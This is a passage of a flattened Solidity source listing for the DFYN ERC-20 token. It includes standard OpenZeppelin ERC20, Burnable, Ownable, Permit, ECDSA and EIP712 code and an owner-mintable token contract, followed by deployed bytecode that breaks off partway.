a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/ERC20Burnable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/utils/Counters.sol pragma solidity >=0.6.0 <0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // File: contracts/IERC20Permit.sol pragma solidity ^0.6.0; // A copy of https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecc66719bd7681ed4eb8bf406f89a7408569ba9b/contracts/drafts/IERC20Permit.sol /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // File: contracts/ECDSA.sol pragma solidity ^0.6.0; // A copy of https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecc66719bd7681ed4eb8bf406f89a7408569ba9b/contracts/cryptography/ECDSA.sol /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature s value"); require(v == 27 || v == 28, "ECDSA: invalid signature v value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // File: contracts/EIP712.sol pragma solidity ^0.6.0; // A copy of https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecc66719bd7681ed4eb8bf406f89a7408569ba9b/contracts/drafts/EIP712.sol /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) internal { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = _getChainId(); _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (_getChainId() == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) { return keccak256( abi.encode( typeHash, name, version, _getChainId(), address(this) ) ); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private pure returns (uint256 chainId) { // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } } // File: contracts/ERC20Permit.sol pragma solidity ^0.6.0; // An adapted copy of https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecc66719bd7681ed4eb8bf406f89a7408569ba9b/contracts/drafts/ERC20Permit.sol /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping (address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev See {IERC20Permit-permit}. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256( abi.encode( _PERMIT_TYPEHASH, owner, spender, value, _nonces[owner].current(), deadline ) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _nonces[owner].increment(); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } } // File: contracts/DFYN.sol pragma solidity ^0.6.0; contract DFYNToken is ERC20Permit, ERC20Burnable, Ownable { constructor(address _owner) public ERC20("DFYN Token", "DFYN") EIP712("DFYN Token", "1") { _mint(_owner, 2.5e8 ether); transferOwnership(_owner); } function mint(address to, uint256 amount) external onlyOwner { _mint(to, amount); } }
0x608060405234801561001057600080fd5b506004361061016c5760003560e01c8063715018a6116100cd578063a457c2d711610081578063d505accf11610066578063d505accf146104a1578063dd62ed3e146104ff578063f2fde38b1461053a5761016c565b8063a457c2d71461042f578063a9059cbb146104685761016c565b80637ecebe00116100b25780637ecebe00146103c35780638da5cb5b146103f657806395d89b41146104275761016c565b8063715018a61461038257806379cc67901461038a5761016c565b80633644e5151161012457806340c10f191161010957806340c10f19146102f757806342966c681461033257806370a082311461034f5761016c565b80633644e515146102b657806339509351146102be5761016c565b806318160ddd1161015557806318160ddd1461023b57806323b872dd14610255578063313ce567146102985761016c565b806306fdde0314610171578063095ea7b3146101ee575b600080fd5b61017961056d565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b357818101518382015260200161019b565b50505050905090810190601f1680156101e05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102276004803603604081101561020457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610622565b604080519115158252519081900360200190f35b61024361063f565b60408051918252519081900360200190f35b6102276004803603606081101561026b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610645565b6102a06106e6565b6040805160ff9092168252519081900360200190f35b6102436106ef565b610227600480360360408110156102d457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356106fe565b6103306004803603604081101561030d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610759565b005b6103306004803603602081101561034857600080fd5b50356107f8565b6102436004803603602081101561036557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661080c565b610330610834565b610330600480360360408110156103a057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610934565b610243600480360360208110156103d957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661098e565b6103fe6109c2565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101796109de565b6102276004803603604081101561044557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610a5d565b6102276004803603604081101561047e57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610ad2565b610330600480360360e08110156104b757600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135610ae6565b6102436004803603604081101561051557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610d1f565b6103306004803603602081101561055057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610d57565b60038054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106175780601f106105ec57610100808354040283529160200191610617565b820191906000526020600020905b8154815290600101906020018083116105fa57829003601f168201915b505050505090505b90565b600061063661062f610f5d565b8484610f61565b50600192915050565b60025490565b60006106528484846110a8565b6106dc8461065e610f5d565b6106d785604051806060016040528060288152602001611a6e6028913973ffffffffffffffffffffffffffffffffffffffff8a166000908152600160205260408120906106a9610f5d565b73ffffffffffffffffffffffffffffffffffffffff1681526020810191909152604001600020549190611278565b610f61565b5060019392505050565b60055460ff1690565b60006106f9611329565b905090565b600061063661070b610f5d565b846106d7856001600061071c610f5d565b73ffffffffffffffffffffffffffffffffffffffff908116825260208083019390935260409182016000908120918c168152925290205490610ee2565b610761610f5d565b60075473ffffffffffffffffffffffffffffffffffffffff9081169116146107ea57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6107f482826113f3565b5050565b610809610803610f5d565b82611524565b50565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b61083c610f5d565b60075473ffffffffffffffffffffffffffffffffffffffff9081169116146108c557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60075460405160009173ffffffffffffffffffffffffffffffffffffffff16907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600780547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b600061096b82604051806060016040528060248152602001611a96602491396109648661095f610f5d565b610d1f565b9190611278565b905061097f83610979610f5d565b83610f61565b6109898383611524565b505050565b73ffffffffffffffffffffffffffffffffffffffff811660009081526006602052604081206109bc9061166e565b92915050565b60075473ffffffffffffffffffffffffffffffffffffffff1690565b60048054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106175780601f106105ec57610100808354040283529160200191610617565b6000610636610a6a610f5d565b846106d785604051806060016040528060258152602001611b246025913960016000610a94610f5d565b73ffffffffffffffffffffffffffffffffffffffff908116825260208083019390935260409182016000908120918d16815292529020549190611278565b6000610636610adf610f5d565b84846110a8565b83421115610b5557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f45524332305065726d69743a206578706972656420646561646c696e65000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff871660009081526006602052604081207f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c990899089908990610bab9061166e565b89604051602001808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200196505050505050506040516020818303038152906040528051906020012090506000610c2e82611672565b90506000610c3e828787876116d9565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610cda57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f45524332305065726d69743a20696e76616c6964207369676e61747572650000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8a166000908152600660205260409020610d08906118fc565b610d138a8a8a610f61565b50505050505050505050565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260016020908152604080832093909416825291909152205490565b610d5f610f5d565b60075473ffffffffffffffffffffffffffffffffffffffff908116911614610de857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8116610e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611a006026913960400191505060405180910390fd5b60075460405173ffffffffffffffffffffffffffffffffffffffff8084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600780547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600082820183811015610f5657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b73ffffffffffffffffffffffffffffffffffffffff8316610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b006024913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8216611039576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611a266022913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316611114576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611adb6025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8216611180576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806119bb6023913960400191505060405180910390fd5b61118b838383610989565b6111d581604051806060016040528060268152602001611a486026913973ffffffffffffffffffffffffffffffffffffffff86166000908152602081905260409020549190611278565b73ffffffffffffffffffffffffffffffffffffffff80851660009081526020819052604080822093909355908416815220546112119082610ee2565b73ffffffffffffffffffffffffffffffffffffffff8084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115611321576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112e65781810151838201526020016112ce565b50505050905090810190601f1680156113135780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60007f0000000000000000000000000000000000000000000000000000000000000001611354611905565b141561138157507fa02e5e51d9d08bccf987f010f319e2fcb0fbc0d0f109a307393b65c1f841082b61061f565b6113ec7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f86c4924a4f76e9a4af6b9379911c144435b4f229db296f9da678448b4432a4107fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6611909565b905061061f565b73ffffffffffffffffffffffffffffffffffffffff821661147557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61148160008383610989565b60025461148e9082610ee2565b60025573ffffffffffffffffffffffffffffffffffffffff82166000908152602081905260409020546114c19082610ee2565b73ffffffffffffffffffffffffffffffffffffffff83166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b73ffffffffffffffffffffffffffffffffffffffff8216611590576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611aba6021913960400191505060405180910390fd5b61159c82600083610989565b6115e6816040518060600160405280602281526020016119de6022913973ffffffffffffffffffffffffffffffffffffffff85166000908152602081905260409020549190611278565b73ffffffffffffffffffffffffffffffffffffffff83166000908152602081905260409020556002546116199082611978565b60025560408051828152905160009173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b5490565b600061167c611329565b8260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050919050565b60007f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a082111561176a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f45434453413a20696e76616c6964207369676e617475726520732076616c7565604482015290519081900360640190fd5b8360ff16601b148061177f57508360ff16601c145b6117ea57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f45434453413a20696e76616c6964207369676e617475726520762076616c7565604482015290519081900360640190fd5b600060018686868660405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015611846573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166118f357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f45434453413a20696e76616c6964207369676e6174757265000